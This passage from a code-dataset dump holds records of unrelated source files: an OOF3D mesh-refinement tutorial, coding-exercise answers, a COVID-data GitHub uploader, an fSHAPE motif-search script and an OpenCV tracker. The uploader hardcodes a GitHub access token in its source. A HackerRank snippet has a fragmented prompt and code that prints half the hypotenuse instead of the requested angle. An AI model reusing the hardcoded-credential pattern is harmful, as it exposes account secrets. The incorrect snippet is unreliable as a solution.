a Skeleton to be a good representation of a Microstructure,\n the BOLD(Elements) in the Skeleton must not cross boundaries\n between different BOLD(voxel types). Two voxels are defined to\n have the same type if they have the same Material assigned to them\n and if they belong to the same voxel groups. Since we haven't\n assigned Materials yet, and since we've assigned groups according\n to voxel color, in this tutorial voxel color is synonymous with\n voxel type.\n\n Except for some BOLD(yellow) elements at the top-right corner of\n the skeleton and blue ones along the right side, all the elements\n are BOLD(heterogeneous), meaning that these elements contain\n voxels of two or more voxel types.\n\n We want every element to be as homogeneous as possible.\"\"\" ),\n\n TutoringItem(\n subject=\"Refining Elements\",\n comments=\n\n \"\"\"Let's subdivide these heterogeneous elements as the first step\n towards making them homogeneous.\n\n In the BOLD(Skeleton Modification) pane in the BOLD(Skeleton)\n page, set the BOLD(method) pull-down menu to BOLD(Refine).\n\n Three parameters need to be set.\n\n The parameter BOLD(targets) determines which elements should be\n refined. Select BOLD(Heterogeneous Elements) and set its\n BOLD(threshold) to be BOLD(1.0), meaning any heterogeneous\n elements will be refined. (All elements with a BOLD(homogeneity)\n less than 1.0 will be refined. The BOLD(homogeneity) is the\n largest fraction of an element's volume belonging to a single voxel\n type.)\n \n The second parameter BOLD(criterion) determines whether to accept\n or reject the resulting refinement. Select BOLD(Unconditional).\n\n Finally, the parameter BOLD(alpha) determines how elements are\n refined when there are two or more possibilities. When\n BOLD(alpha) is near zero, oof3d chooses the arrangement that\n produces elements with the best shapes. When BOLD(alpha) is near\n one, it tries to make the elements as homogeneous as possible.\n Set BOLD(alpha) to 0.5.\n\n Click BOLD(OK) to refine the Skeleton. \"\"\",\n\n signal = \"Skeleton modified\"\n ),\n\n TutoringItem(\n subject=\"The Refined Skeleton\",\n comments=\n\n \"\"\" The refined skeleton should be displayed in the graphics\n window.\n\n Most of the elements have been divided into more elements. As a\n result, a larger fraction of the Microstructure's area is covered\n by homogeneous elements.\n\n At the bottom of the BOLD(Skeleton Status) pane in the\n BOLD(Skeleton) page, there is a BOLD(Homogeneity Index). This\n number indicates the homogeneity of the entire skeleton.\n\n As the skeleton becomes more homogeneous and adapts to material\n boundaries, the Homogeneity Index gets closer to BOLD(1).\n\n Click BOLD(Undo) and BOLD(Redo), while checking out Homogeneity\n Index.\n\n The number has been increased from BOLD(0.7878) to BOLD(0.8837).\n \"\"\" ),\n \n TutoringItem(\n subject=\"Another Refinement\",\n comments=\n \n \"\"\"We're still one more BOLD(Refine) away from being satisfied.\n\n This time, leave BOLD(targets) set to BOLD(Heterogeneous Elements)\n and set BOLD(threshold) to BOLD(0.9), so that only elements less\n than 90% homogeneous will be refined.\n\n Click BOLD(OK) to start refining. \"\"\",\n \n signal = \"Skeleton modified\",\n ),\n\n TutoringItem(\n subject=\"No More Refinements!\",\n comments=\n\n \"\"\"The Skeleton looks okay -- no material boundary is very far\n from an element boundary -- but the element boundaries don't\n really coincide with the material boundaries. More work is\n necessary.\n\n At this point, more refinements may not yield a favorable result.\n\n You don't want to refine a skeleton to the point where it\n inevitably inherits the jagged voxel boundaries of the micrograph.\n\n Thus, we need a different approach to resolve issues with the\n elements near the material boundaries. \"\"\" ),\n\n TutoringItem(\n subject=\"Moving Nodes to Material Boundaries\",\n comments=\n\n \"\"\"While BOLD(refinement) is more of a chop-and-hope-for-the-best\n approach to the heterogeneity issue, the BOLD(node motion) tools\n deal with the issue directly.\n\n OOF3D provides different methods of moving nodes in adapting to\n material boundaries -- BOLD(Snap Nodes), BOLD(Anneal),\n BOLD(Smooth), and BOLD(Move Nodes).\n\n BOLD(Snap Nodes) first looks for boundary points -- intersections\n between material boundaries and element edges -- and moves nodes\n to the corresponding points, if the result is favorable.\n\n BOLD(Anneal), on the other hand, moves nodes to randomly chosen\n points and accepts only the ones that are beneficial.\n\n BOLD(Smooth) moves nodes to the average position of their\n neighbors, and BOLD(Surface Smooth) does something similar, but\n only to nodes on internal material boundaries.\n\n The BOLD(Move Nodes) toolbox in the BOLD(Graphics) window allows\n you to move nodes manually. \"\"\" ),\n \n TutoringItem(\n subject=\"Snapping Nodes\",\n comments=\n\n \"\"\"Select the BOLD(Snap Nodes) method in the BOLD(Skeleton\n Modification) pane in the BOLD(Skeleton) page.\n\n This tool will move nodes of target elements to the material\n boundary points along the edges of the elements.\n\n Select BOLD(Heterogeneous Elements) for the BOLD(targets)\n parameter and set the BOLD(threshold) to be BOLD(0.9), meaning it\n will attempt to move nodes of elements with homogeneity less than\n BOLD(0.9). \"\"\" ),\n\n TutoringItem(\n subject=\"Snapping Nodes -- continued\",\n comments=\n \n \"\"\"For the BOLD(criterion) parameter, select BOLD(Average Energy)\n and set its parameter BOLD(alpha) to be BOLD(1).\n\n The quality of a Skeleton element is quantified by a functional,\n E, which is called an \"energy\" because of its role in the Skeleton\n annealing process. E ranges from 0 for good elements to 1 for bad\n elements. There are two contributions to E: a shape energy, which\n is minimized for regular tetrahedrons; and a\n homogeneity energy, which is minimized for completely homogeneous\n elements. The parameter BOLD(alpha) governs the relative weight\n of these two terms. BOLD(alpha)=0 gives all the weight to the\n shape energy, while BOLD(alpha)=1 ignores shape and emphasizes\n homogeneity.\n\n By setting BOLD(alpha)=1, we've told the BOLD(Snap Nodes) tool\n that it's ok if moving a node creates badly shaped elements, as\n long as doing so makes them more homogeneous. (We'll fix the bad\n shapes next.)\n\n Click BOLD(OK) to make changes. The BOLD(Homogeneity Index)\n increases from 0.945 to 0.978.\"\"\",\n \n signal = \"Skeleton modified\"\n ),\n\n TutoringItem(\n subject=\"Rationalizing Elements\",\n comments=\n\n \"\"\" Because our BOLD(Snap Nodes) operation considered only\n homogeneity, some elements have been badly distorted while\n adapting themselves to the material boundaries.\n \n Set the BOLD(Skeleton Modification) method to\n BOLD(Rationalize).\n\n This modification tool automatically removes badly shaped\n elements, provided the changes meet a certain criterion.\n\n Set BOLD(targets) to BOLD(All Elements).\n\n Set BOLD(criterion) to BOLD(Average Energy) and set BOLD(alpha) to\n BOLD(0.8). With this setting, the BOLD(Rationalize) tool will\n only make changes that lower the average energy E of the affected\n elements. BOLD(alpha) determines how E is computed.\n\n For the BOLD(method) parameter, select BOLD(Specified).\n\n One rationalization technique is listed, it's \"Remove Bad\n Tetrahedra.\" Move the mouse pointer over this technique to get\n more information about it. Make sure the check-box is selected\n and click BOLD(OK), while keeping the default values for their\n parameters.\n\n The summary for the modification is displayed in the BOLD(OOF\n Messages) window. Also, in the graphics window, you will notice\n that many of the badly shaped elements are gone. \"\"\",\n\n signal = \"Skeleton modified\"\n ),\n\n TutoringItem(\n subject=\"The Skeleton Selection Page\",\n comments=\n\n \"\"\" Open the BOLD(Skeleton Selection) page in the main OOF3D\n window. This page provides tools for selecting Skeleton\n components -- elements, segments, and nodes -- and for\n manipulating groups of them.\n\n Set BOLD(Selection Mode) to BOLD(Elements).\n\n From the BOLD(Element Selection Operations) pane in the right side\n of the page, select BOLD(By Homogeneity) for the parameter\n BOLD(Method) and set its BOLD(min_homogeneity) to BOLD(0) and\n BOLD(max_homogeneity) to be BOLD(0.9), to select all elements less\n than 90% homogeneous.\n\n We will apply the next modification only to the selected elements.\n \n Now, click BOLD(OK) to make a selection.\"\"\",\n\n signal = \"changed element selection\"\n ),\n\n TutoringItem(\n subject=\"Annealing\",\n comments=\n\n \"\"\"Return to the BOLD(Skeleton) page and select BOLD(Anneal) for\n the modification method. BOLD(Anneal) moves nodes BOLD(randomly)\n and accepts or rejects the new positions according to the given\n criterion. On each iteration, BOLD(Anneal) attempts to move each\n node once, but it chooses the nodes in a random order.\n\n Select BOLD(Selected Elements) for its BOLD(targets), meaning it\n will attempt to move nodes of the selected elements only.\n\n For BOLD(criterion), select BOLD(Average Energy) with BOLD(alpha)\n of BOLD(0.9).\n\n Set BOLD(T) to be BOLD(0.0) and also set BOLD(delta) to be\n BOLD(1.0). Move the mouse over these parameters to get more\n information.\n \n For BOLD(iteration), select BOLD(Conditional Iteration), which\n stops annealing when certain conditions are met. Set\n BOLD(condition) to BOLD(Acceptance Rate), and set the\n BOLD(acceptanceRate) parameter to BOLD(7). This will terminate\n the annealing procedure if it starts accepting fewer than 7% of\n the attempted moves.\n\n Set BOLD(extra) to BOLD(3), to require that the BOLD(condition) be\n satisfied for three consecutive iterations before actually\n terminating the procedure.\n\n Leave BOLD(maximum) set to BOLD(100), setting an absolute limit on\n the number of iterations.\n \n Click BOLD(OK).\n\n Watch the BOLD(Message), BOLD(Graphics), and BOLD(Activity Viewer)\n windows to monitor the progress.\"\"\",\n \n signal = \"Skeleton modified\"\n ),\n\n TutoringItem(\n subject=\"Rationalizing ...\",\n comments=\n\n \"\"\"If you recall, we set BOLD(alpha) to BOLD(0.9) during the\n anneal. This put a strong emphasis on homogeneity, thus many\n elements may have been distorted severely.\n\n Select BOLD(Rationalize) for the modification method and click\n BOLD(OK). \"\"\",\n \n signal = \"Skeleton modified\"\n ),\n\n TutoringItem(\n subject=\"Reduced No. of Heterogeneous Elements\",\n comments=\n \n \"\"\"Open the BOLD(Skeleton Selection) page and select elements by\n homogeneity with BOLD(max_homogeneity) = BOLD(0.9).\n\n You will notice that the number of elements selected is\n significantly reduced. \"\"\",\n \n signal = \"changed element selection\"\n ),\n \n TutoringItem(\n subject=\"Annealing Again\",\n comments=\n \n \"\"\"Return to the BOLD(Skeleton) page and do the BOLD(Anneal) one more\n time with the same settings as before. \"\"\",\n\n signal = \"Skeleton modified\"\n ),\n \n TutoringItem(\n subject=\"Rationalizing ...\",\n comments=\n\n \"\"\"Again, BOLD(Rationalize) the skeleton before moving\n on to the next step.\n\n Use the same settings as before. \"\"\",\n \n signal = \"Skeleton modified\"\n ), \n\n TutoringItem(\n subject=\"Almost Done\",\n comments=\n\n \"\"\"Open the BOLD(Skeleton Selection) page and select elements by\n homogeneity with the BOLD(max_homogeneity) being BOLD(0.9).\n\n There should be very few elements selected. (Because of\n randomness in some modification methods, your results may vary.)\n\n Set the BOLD(threshold) to be BOLD(0.8) and click BOLD(OK).\n\n There should be very few elements selected, meaning that most of the\n elements have been adapted to the material boundaries\n successfully.\"\"\",\n \n signal = \"changed element selection\"\n ), \n \n TutoringItem(\n subject=\"Skeleton Quality Control\",\n comments=\n\n \"\"\"Move back to the BOLD(Skeleton) page and check the\n BOLD(Homogeneity Index).\n\n It should be almost BOLD(1), which implies the skeleton is nearly\n homogeneous.\n\n We'll now turn our attention to elements' quality, more precisely,\n their shape.\n\n The tools for improving the skeleton's quality include\n BOLD(Smooth) and BOLD(Surface Smooth).\n\n These tools, however, can potentially affect material boundaries\n that have been established already. Thus, we need to be extra\n careful not to disturb the existing boundaries. The best way to\n avoid this potentially sorry situation is to pin down all the\n nodes along the boundaries.\n\n The next slide will teach you how to do this. \"\"\" ),\n\n TutoringItem(\n subject=\"Pinning Nodes\",\n comments=\n \n \"\"\"Go to the BOLD(Pin Nodes) page.\n\n In the pull-down menu labelled BOLD(Method), Select BOLD(Pin\n Internal Boundary Nodes). Click BOLD(OK).\n\n All the nodes along the boundaries should be selected and\n displayed as BOLD(yellow) dots.\n\n These nodes are not going to move at all, until they are unpinned.\n \"\"\",\n \n signal = \"new pinned nodes\"\n ),\n\n TutoringItem(\n subject=\"Smoothing the Skeleton\",\n comments=\n\n \"\"\"We're going to give the skeleton finishing touches by applying\n BOLD(Smooth). BOLD(Smooth) works much like BOLD(Anneal), except\n that instead of picking node positions randomly, it moves each\n node to the average position of its neighbors.\n\n Select BOLD(Smooth) for the modification method on the\n BOLD(Skeleton) page.\n\n Select BOLD(All Nodes) for BOLD(targets).\n\n Select BOLD(Average Energy) for BOLD(criterion) and set\n BOLD(alpha) to BOLD(0.5). This method also has a fictional\n temperature. Leave this set to zero, which will cause the method\n to reject all energetically disadvantageous moves.\n\n Select BOLD(Fixed Iterations) for BOLD(iteration). Set the number\n of BOLD(iterations) to 5.\n\n Click BOLD(OK).\n\n Updates are reported in the same way as in BOLD(Anneal). \"\"\",\n \n signal = \"Skeleton modified\"\n ),\n\n TutoringItem(\n subject=\"Saving a Skeleton\",\n comments=\n\n \"\"\" The BOLD(Save/Skeleton) command in the BOLD(File) menu in the\n main OOF3D window, and the BOLD(Save) button on the BOLD(Skeleton)\n page both allow you to save Skeletons to a file.\n\n The BOLD(format) parameter in the file selector dialog box was\n discussed in the BOLD(Microstructure) tutorial.\n\n When you save a Skeleton, its Microstructure is saved with it in\n the data file. Loading the data file with the BOLD(Load/Data) or\n BOLD(Load/Script) commands from the BOLD(File) menu restores both\n the Microstructure and the Skeleton. \"\"\" ),\n\n TutoringItem(\n subject=\"Homework\",\n comments=\n \n \"\"\"We have covered most of the issues related to Skeleton\n modifications.\n \n Related topics not covered in this tutorial include BOLD(Active\n Areas), and the BOLD(Move Node) toolbox. \"\"\" )\n \n ])\n","repo_name":"usnistgov/OOF3D","sub_path":"SRC/tutorials/skeleton.py","file_name":"skeleton.py","file_ext":"py","file_size_in_byte":20583,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"9967155760","text":"\"\"\"triangle, at .\nTherefore, .\n\nPoint is the midpoint of hypotenuse .\n\nYou are given the lengths and .\nYour task is to find (angle , as shown in the figure) in degrees.\n\"\"\"\nimport math\na=10;b=10\n# a=int(input())\n# b=int(input())\n\nc=math.sqrt((a*a)+(b*b))\nprint(c/2)\n","repo_name":"SACHINKV14/MCS_00_Sachin_Core_Python","sub_path":"practice 04 Dec/harsha_tasks/_24_Feb_2022/_HR_24_Feb_q11.py","file_name":"_HR_24_Feb_q11.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22659108375","text":"class Solution:\n def coinChange(self, coins: List[int], amount: int) -> int:\n \n def getans(coins, target, n, dp):\n if n==0:\n if target%coins[n]==0:\n return target//coins[n]\n else:\n return float(\"inf\")\n \n if dp[n][target]!=-1:\n return dp[n][target]\n \n \n nottake = getans(coins, target, n-1, dp)\n take = float(\"inf\")\n if target>=coins[n]:\n take = 1+getans(coins, target-coins[n], n, dp)\n \n dp[n][target] = min(nottake, take)\n return dp[n][target]\n \n \n \n dp=[]\n for i in range(len(coins)+1):\n x=[]\n for i in range(amount+1):\n x.append(-1)\n dp.append(x)\n \n ans = getans(coins, amount, len(coins)-1, dp)\n if ans==float(\"inf\"):\n return -1\n return ans","repo_name":"harssh1029/Leetcode","sub_path":"322-coin-change/322-coin-change.py","file_name":"322-coin-change.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70957367468","text":"import pandas as pd\r\nimport pygithub3 as pg3\r\nimport datetime\r\n\r\n\r\nfrom pip._vendor.distlib.compat import raw_input\r\n\r\n\r\ndef uploadCVDdata(urlDB) :\r\n#i define links for the DB as an argument\r\n # urlDB='https://raw.githubusercontent.com/pcm-dpc/COVID-19/master/dati-andamento-nazionale/dpc-covid19-ita-andamento-nazionale.csv'\r\n #-----------------------------------------------\r\n\r\n\r\n #using pandas i read data from the link and save them in the path\r\n data = pd.read_csv(urlDB ,sep=\",\") # use sep=\",\" for coma separation.\r\n data.describe()\r\n indice = pd.DataFrame(data)\r\n indice = indice.drop(indice.columns[[0,1,2,3,4,5,7,8,11,12,13,14,15]], axis=1)\r\n dati = indice.to_csv(None, na_rep='Unkown', encoding='utf-8')\r\n #-----------------------------------------------------------------\r\n\r\n #login inside github with a token\r\n token = \"SDF5S46S46FS4F6S7F6SF6SFS4C1ZF4G6\"\r\n gh = pg3.Github(token)\r\n #---------------------------------------------------------\r\n\r\n #i get the repository where the file is\r\n repo_name ='PieGroppelli/ADC19'\r\n repo = gh.get_repo(repo_name)\r\n #----------------------------------------\r\n\r\n #i upadate the file\r\n content = 'PieGroppelli/datiADC19.csv'\r\n try:\r\n sha = repo.get_contents(content).sha\r\n repo.update_file(\r\n content,\r\n \"update\",\r\n dati,\r\n sha\r\n )\r\n except(Exception):\r\n repo.create_file(\r\n content,\r\n \"create\",\r\n dati,\r\n )\r\n #-------------------------------------------------\r\n#call uploadCVDdata() when it's time.\r\ndef orologioUpload(ore, minuti,urlDB):\r\n try:\r\n while True:\r\n oreRN = datetime.datetime.now().hour\r\n minutiRN = datetime.datetime.now().minute\r\n secondiRN = datetime.datetime.now().second\r\n if oreRN == int(ore) and minutiRN == int(minuti) and secondiRN == int(10):\r\n uploadCVDdata(urlDB)\r\n print( f\"{oreRN}:{minutiRN} -> successfully uploaded\")\r\n except KeyboardInterrupt :\r\n print(\"exit from the program\")\r\n\r\nprint(\"__________CVD19_________________\")\r\nraw_input(\"CVD19 SET-UP press a key to start.\")\r\n\r\na = input(\"insert a database URL: \")\r\nb = input(\"insert the hour when you want to upload the file \")\r\nc = input(\"insert the minute when you want to upload the file \")\r\nraw_input(\"set-up finished press a key to launch the program\")\r\nprint(\"---------------started-----------------\")\r\norologioUpload(b,c,a)\r\n","repo_name":"PieGroppelli/ADC19","sub_path":"DataReader.py","file_name":"DataReader.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1499667908","text":"#! /usr/bin/env python\nimport argparse\nimport csv\nimport math\nimport multiprocessing\nimport os\nimport random\nimport sys\nfrom typing import List, Dict\n\nimport matrixprofile as mp\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nclass Nucleotide:\n def __init__(self, fshape: float, base: str = \"N\", shape: float = math.nan):\n self.fshape = fshape\n self.base = base\n self.shape = shape\n\n def __repr__(self):\n return str(self.__dict__)\n\n\nclass Input:\n @staticmethod\n def from_file(path: str):\n with open(path) as f:\n lines = f.readlines()\n\n lines = map(str.strip, lines)\n lines = map(lambda x: x.replace(\"NA\", \"nan\"), lines)\n lines = map(str.split, lines)\n\n nucleotides = []\n for line in lines:\n if len(line) == 1:\n nucleotides.append(Nucleotide(float(line[0])))\n elif len(line) == 2:\n nucleotides.append(Nucleotide(float(line[0]), line[1]))\n elif len(line) == 3:\n nucleotides.append(Nucleotide(float(line[0]), line[1], float(line[2])))\n else:\n raise RuntimeError(f\"Invalid line: {line}\")\n return Input(os.path.basename(path), nucleotides)\n\n def __init__(self, name: str, nucleotides: List[Nucleotide]):\n self.name = name\n self.nucleotides = nucleotides\n self.fshapes = []\n self.shapes = []\n self.bases = []\n self.profile: Dict = dict()\n self.motifs: List[Dict] = []\n\n for nt in nucleotides:\n self.fshapes.append(nt.fshape)\n self.shapes.append(nt.shape)\n self.bases.append(nt.base)\n\n def __repr__(self):\n return str(self.__dict__)\n\n def __len__(self):\n return len(self.fshapes)\n\n def compute_profile(self, query):\n if np.sum(np.isfinite(input.fshapes)) < len(query):\n return\n\n self.profile = mp.compute(\n self.fshapes,\n len(query),\n query.fshapes,\n n_jobs=multiprocessing.cpu_count(),\n preprocessing_kwargs={\"window\": len(query)},\n )\n self.motifs = mp.discover.motifs(self.profile, int(len(query) / 2), 10)[\n \"motifs\"\n ]\n\n def copy(self):\n obj = Input(self.name, self.nucleotides)\n obj.profile = self.profile\n obj.motifs = self.motifs\n return obj\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--query\", help=\"path to pattern data\")\n parser.add_argument(\n \"--scramble\",\n help=\"shuffle each input file in a random manner to test robustness\",\n action=\"store_true\",\n )\n parser.add_argument(\"inputs\", help=\"path to fSHAPE or SHAPE files\", nargs=\"+\")\n args = parser.parse_args()\n if not args.query:\n parser.print_help()\n sys.exit(1)\n return args\n\n\ndef separate_motifs(inputs: List[Input]):\n result = []\n for input in inputs:\n if len(input.motifs) == 1:\n result.append(input)\n else:\n for motif in input.motifs:\n copy = input.copy()\n copy.motifs = [motif]\n result.append(copy)\n return result\n\n\ndef filter_motifs_with_nans(inputs: List[Input], query):\n result = []\n for input in inputs:\n index = input.motifs[0][\"motifs\"][1]\n found = input.fshapes[index : index + len(query)]\n if np.isnan(found).any():\n continue\n result.append(input)\n return result\n\n\ndef filter_negative_motifs(inputs: List[Input], query):\n result = []\n for input in inputs:\n index = input.motifs[0][\"motifs\"][1]\n found = np.array(input.fshapes[index : index + len(query)])\n\n for i in range(len(query)):\n if query.fshapes[i] > 1.0 and found[i] <= 1.0:\n break\n else:\n result.append(input)\n return result\n\n\ndef euclidean(input: Input, query: Input):\n index = input.motifs[0][\"motifs\"][1]\n data = np.array(input.fshapes[index : index + len(query)])\n return np.linalg.norm(data - np.array(query.fshapes))\n\n\ndef znorm_euclidean(input: Input):\n return input.profile[\"mp\"][input.motifs[0][\"motifs\"][1]]\n\n\ndef sequence_score(input: Input, query: Input):\n score = 0\n for i in range(len(query)):\n nt1 = query.bases[i]\n if nt1 == \"N\":\n continue\n index = input.motifs[0][\"motifs\"][1]\n nt2 = input.bases[index + i]\n if nt1 == nt2:\n score += 2\n elif nt1 in \"CTU\" and nt2 in \"CTU\":\n score += 1\n elif nt1 in \"AG\" and nt2 in \"AG\":\n score += 1\n return score\n\n\ndef export_csv(inputs: List[Input], query: Input, path: str):\n objects = []\n for input in inputs:\n sample = os.path.splitext(input.name)[0]\n index = input.motifs[0][\"motifs\"][1]\n range_ = f\"{index}-{index + len(query)}\"\n sequence = \"\".join(input.bases[index : index + len(query)])\n object = {\n \"Sample\": sample,\n \"Range\": range_,\n \"Sequence\": sequence,\n \"Distance\": euclidean(input, query),\n \"Z-normalized\": znorm_euclidean(input),\n \"Sequence-Score\": sequence_score(input, query),\n }\n for i in range(len(query)):\n object.update({f\"fSHAPE-{i + 1}\": input.fshapes[index + i]})\n object.update({f\"SHAPE-{i + 1}\": input.shapes[index + i]})\n objects.append(object)\n\n header = [\n \"Sample\",\n \"Range\",\n \"Sequence\",\n \"Z-normalized\",\n \"Distance\",\n \"Sequence-Score\",\n ]\n for i in range(len(query)):\n header.append(f\"fSHAPE-{i + 1}\")\n for i in range(len(query)):\n header.append(f\"SHAPE-{i + 1}\")\n\n with open(path, \"w\") as f:\n writer = csv.DictWriter(f, header)\n writer.writeheader()\n writer.writerows(objects)\n\n\ndef draw_everything_highlight_motifs(query, inputs):\n fig, axes = plt.subplots(len(inputs) + 1, 1, figsize=(6, 1.5 * len(inputs) + 1.5))\n\n # draw query plot\n axes[0].plot(np.arange(len(query)), query.fshapes)\n axes[0].set_title(\"Query\")\n\n # draw input plots with motifs marked on top\n for i, input in enumerate(inputs):\n axes[i + 1].set_title(input.name)\n\n data = input.fshapes\n length = len(data)\n axes[i + 1].plot(np.arange(length), data)\n assert (\n len(input.motifs) == 1\n ), \"separate_motifs() function should have made input.motifs a 1-element array\"\n\n mask = np.ones(length)\n motif = input.motifs[0][\"motifs\"][1]\n mask[motif : motif + len(query)] = 0\n\n xs = np.arange(length)\n ys = np.ma.masked_array(data, mask)\n axes[i + 1].plot(xs, ys, label=f\"[{motif}:{motif + len(query)}]\")\n\n mask = np.ones(length)\n for neighbor in input.motifs[0][\"neighbors\"]:\n mask[neighbor : neighbor + len(query)] = 0\n ys = np.ma.masked_array(data, mask)\n axes[i + 1].plot(xs, ys, label=f\"neighbours [{motif}:{motif + len(query)}]\")\n\n axes[i + 1].legend()\n\n plt.tight_layout()\n plt.savefig(\"motifs-highlighted.png\")\n\n\ndef draw_just_motifs(query, inputs):\n fig, axes = plt.subplots(len(inputs) + 1, 1, figsize=(6, 1.5 * len(inputs) + 1.5))\n\n # draw query plot\n xs = np.arange(len(query))\n axes[0].set_title(\"Query\")\n axes[0].plot(xs, query.fshapes)\n axes[0].set_xticks(xs)\n axes[0].set_xticklabels(query.bases)\n\n # draw plots with motifs\n for i, input in enumerate(inputs):\n index = input.motifs[0][\"motifs\"][1]\n xticklabels = []\n for j in range(len(query)):\n xticklabels.append(f\"{index + j}\\n{input.bases[index + j]}\")\n\n axes[i + 1].set_title(input.name)\n axes[i + 1].plot(xs, input.fshapes[index : index + len(query)])\n axes[i + 1].set_xticks(xs)\n axes[i + 1].set_xticklabels(xticklabels)\n\n plt.tight_layout()\n plt.savefig(\"motifs-only.png\")\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n\n query = Input.from_file(args.query)\n inputs = [Input.from_file(path) for path in args.inputs]\n\n if args.scramble:\n for input in inputs:\n random.shuffle(input.nucleotides)\n\n for input in inputs:\n input.compute_profile(query)\n\n inputs = separate_motifs(inputs)\n inputs = filter_motifs_with_nans(inputs, query)\n inputs.sort(key=znorm_euclidean)\n\n export_csv(inputs, query, \"output.csv\")\n\n # draw up to 10 best profiles\n draw_everything_highlight_motifs(query, inputs[:10])\n draw_just_motifs(query, inputs[:10])\n\n inputs = filter_negative_motifs(inputs, query)\n export_csv(inputs, query, \"output-filtered.csv\")\n","repo_name":"meracorley/RBPchallenge2021_time_series","sub_path":"find-query/find-query.py","file_name":"find-query.py","file_ext":"py","file_size_in_byte":8738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21011512806","text":"import cv2\r\nimport numpy as np\r\nimport serial\r\n\r\ndef nothing(x):\r\n pass\r\n\r\n# INIT #\r\ncenter=0\r\nerror=0\r\nexist=0\r\n\r\nfollow_type = \"face\" #color or face\r\nard_send = False #send to arduino\r\n\r\nshow = {\r\n\t\"original\" : False,\r\n\t\"mask\" : True,\r\n\t\"mask result\" : True,\r\n}\r\n########\r\n\r\nif (ard_send):\r\n\tPORT='COM3'\r\n\tser=serial.Serial(PORT,9600)\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\nif (follow_type == \"color\"):\r\n\tcv2.namedWindow('image')\r\n\tcv2.namedWindow('morpho')\r\n\t# create trackbars for color change\r\n\tcv2.createTrackbar('Hmin','image',0,255,nothing)\r\n\tcv2.createTrackbar('Smin','image',0,255,nothing)\r\n\tcv2.createTrackbar('Vmin','image',222,255,nothing)\r\n\tcv2.createTrackbar('Hmax','image',201,255,nothing)\r\n\tcv2.createTrackbar('Smax','image',173,255,nothing)\r\n\tcv2.createTrackbar('Vmax','image',255,255,nothing)\r\n\tcv2.createTrackbar('opening','morpho',1,50,nothing)\r\n\tcv2.createTrackbar('closing','morpho',1,50,nothing)\r\n\tcv2.setTrackbarMin ('opening','morpho',1)\r\n\tcv2.setTrackbarMin ('closing','morpho',1)\r\nelse:\r\n\tface_cascade = cv2.CascadeClassifier(\"C:\\\\Users\\\\faidra\\\\AppData\\\\Local\\\\conda\\\\conda\\\\envs\\\\parousiasi_28.2.19\\\\Library\\\\etc\\\\haarcascades\\\\haarcascade_frontalface_default.xml\") \r\n\teye_cascade = cv2.CascadeClassifier(\"C:\\\\Users\\\\faidra\\\\AppData\\\\Local\\\\conda\\\\conda\\\\envs\\\\parousiasi_28.2.19\\\\Library\\\\etc\\\\haarcascades\\\\haarcascade_eye.xml\")\r\n\r\nwhile(1):\r\n\t# Take each frame\r\n\t_, img = cap.read()\r\n\timg = cv2.flip(img,1)\r\n\tif(follow_type==\"face\"):\r\n\t\t#rgb2gray\r\n\t\tgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\t\tfaces = face_cascade.detectMultiScale(gray, 1.1, 5)\r\n\t\texist = False\r\n\t\tres = np.copy(img)\r\n\t\tfor (x,y,w,h) in faces:\r\n\t\t\tres = cv2.rectangle(res,(x,y),(x+w,y+h),(255,0,0),2)\r\n\t\t\troi_gray = gray[y:y+h, x:x+w]\r\n\t\t\troi_color = res[y:y+h, x:x+w]\r\n\t\t\t#eyes = eye_cascade.detectMultiScale(roi_gray)\r\n\t\t\t#for (ex,ey,ew,eh) in eyes:\r\n\t\t\t# cv2.rectangle(roi_color,(ex,ey),(ex+ew,ey+eh),(0,255,0),2)\r\n\t\t\tcenter=int((x+x+w)/2)\r\n\t\t\texist = True\r\n\telse:\r\n\t\t# Convert BGR to HSV\r\n\t\thsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\r\n\t\t# get current positions of four trackbars\r\n\t\thmin = cv2.getTrackbarPos('Hmin','image')\r\n\t\tsmin = cv2.getTrackbarPos('Smin','image')\r\n\t\tvmin = cv2.getTrackbarPos('Vmin','image')\r\n\t\thmax = cv2.getTrackbarPos('Hmax','image')\r\n\t\tsmax = cv2.getTrackbarPos('Smax','image')\r\n\t\tvmax = cv2.getTrackbarPos('Vmax','image')\r\n\t\topening = cv2.getTrackbarPos('opening','morpho')\r\n\t\tclosing = cv2.getTrackbarPos('closing','morpho')\r\n\t\t# define range in HSV\r\n\t\tlower=np.array([hmin,smin,vmin])\r\n\t\tupper=np.array([hmax,smax,vmax])\r\n\t\t# Threshold the HSV image to get the color\r\n\t\tmask = cv2.inRange(hsv, lower, upper)\r\n\t\topening_kernel=cv2.getStructuringElement(cv2.MORPH_RECT,(opening,opening))\r\n\t\tclosing_kernel = cv2.getStructuringElement(cv2.MORPH_RECT,(closing,closing))\r\n\t\tmask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, opening_kernel)\r\n\t\tmask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, closing_kernel)\r\n\t\t# Bitwise-AND mask and original image\r\n\t\tmask_res = cv2.bitwise_and(img,img, mask = mask)\r\n\t\t#find contours on mask\r\n\t\t_, contours, hierarchy = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n\t\tres = np.copy(img)\r\n\t\tif len(contours) != 0:\r\n\t\t\tbiggest_c = max(contours, key = cv2.contourArea)\r\n\t\t\tcv2.drawContours(res, [biggest_c], -1, (0,255,0), 3)\r\n\t\t\t(x,y,w,h) = cv2.boundingRect(biggest_c)\r\n\t\t\tcv2.rectangle(res, (x,y), (x+w,y+h), (255, 0, 0), 2)\r\n\t\t\tcenter=int((x+x+w)/2)\r\n\t\t\texist = 